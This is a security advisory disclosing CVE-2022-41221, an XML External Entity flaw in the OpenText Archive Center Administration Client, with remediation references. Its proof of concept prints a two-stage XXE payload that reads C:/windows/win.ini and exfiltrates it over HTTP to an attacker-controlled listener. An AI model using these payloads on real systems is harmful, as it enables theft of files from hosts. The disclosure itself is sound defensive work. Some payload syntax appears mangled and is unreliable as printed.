CVE-2022-41221: OpenText Archive Center Administration Client XXE Vulnerability

Description

The OpenText Archive Center Administration Client (Versions 16.2.3, 21.2 and previous) allow XML External Entity (XXE) attacks. This allows malicious authenticated users to exfiltrate the contents of files on the application host, carry out port scanning activities, or potentially cause a localized Denial of Service (DOS) attack against the application instance and system of the user running it.

After WithSecure notified OpenText of this issue, OpenText released hotfixes for Archive Center Administration Client versions 16.2.3 and 21.2 addressing it. Please contact OpenText support to obtain these fixes.

Details

Authenticated local users of the OpenText Administration Client could upload Extensible Markup Language (XML) files to the application it did not sufficiently validate. As a result, malicious user could craft custom malicious XML files that, when processed by the application, would produce a negative security impact. While these methods were self-directed and required a victim user to willingly cause the application to interact with a malicious file, an attacker could reasonably deceive a victim user into doing so.

This issue represents an XML External Entity (XXE) Injection attack, which falls under the category of input validation vulnerabilities. Its root cause was an insufficient level of application-side validation of user-supplied input, specifically user-supplied XML files.

Regardles of if application developers create code in-house, outsource creation, or utilize a third-party service, they should require and evaluate input validation measures before deploying code to production. Applications must validate all user-supplied input.

If application owners utilize a third-party service, they must obtain assurances from the vendor that the vendor has performed the necessary security tests before integrating the service into the application.

For additional information about Input Validation and XXE Attacks, refer to the following:

• CWE-20: Improper Input Validation

• OWASP Input Validation “Cheat Sheet”

• CWE-611: Improper Restriction of XML External Entity Reference

• OWASP XML External Entity Prevention “Cheat Sheet”

Proof of Concept

Users of the application could utilize the “Import Servers” functionality to import a group of servers onto their list. By default, this functionality requested a .XML file that contained server information.

When a user uploaded an XML file with an external entity included, the application would parse it. WithSecure used this behavior to create a file read proof of concept that would send the contents of a system file to a remote location over HTTP.

To execute this proof of concept attack, consultants used a local Python HTTP server to both serve files and accept the data exfiltration requests. The attack itself utilized two stages, with a payload file used in each stage:

• stage1-import.xml: the XML file the user uploaded to the application itself
• stage2-dtd.dtd: the DTD file called by the application as it parsed the stage 1 file.

As these files aimed to exfiltrate the contents of C:/windows/win.ini, WithSecure placed them in a directory named win-ini. WithSecure deployed a Python HTTP server on the Windows system running the application by executing the following command one directory up from the win-ini folder.

python -m http.server 1234

The contents of the XML and DTD files are included below:

stage1-import.xml

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE abc [
<!ELEMENT x ANY >
<!ENTITY % aaaa SYSTEM "http://localhost:1234/win/ini/stage2-dtd.dtd">
%aaaa;
%bbbb;
%cccc;
]>
<x></x>

stage2-dtd.dtd

<?xml version="1.0" encoding="ISO-8859-1"?>
<!ENTITY % data SYSTEM "file://C:/windows/win.ini">
<!ENTITY %bbbb "<!ENTITY &x#25; cccc SYSTEM 'http://localhost:1234/?%data;’>">

With a local HTTP server hosting these two files, WithSecure utilized the application’s “Import Servers” functionality and selected the Stage 1 XML file. This caused the application to parse this file and make a request to the HTTP server to retrieve the DTD file. The following screenshot shows the local HTTP server receiving two requests:

The first request demonstrates that the application parsed the Stage 1 XML file, recognized that this file contained a DTD file hosted at a remote location, which it then requested over HTTP. The second request contains the contents of the targeted file, C:/windows/win.ini, and demonstrates that this method can be used to exfiltrate system files to a remote location.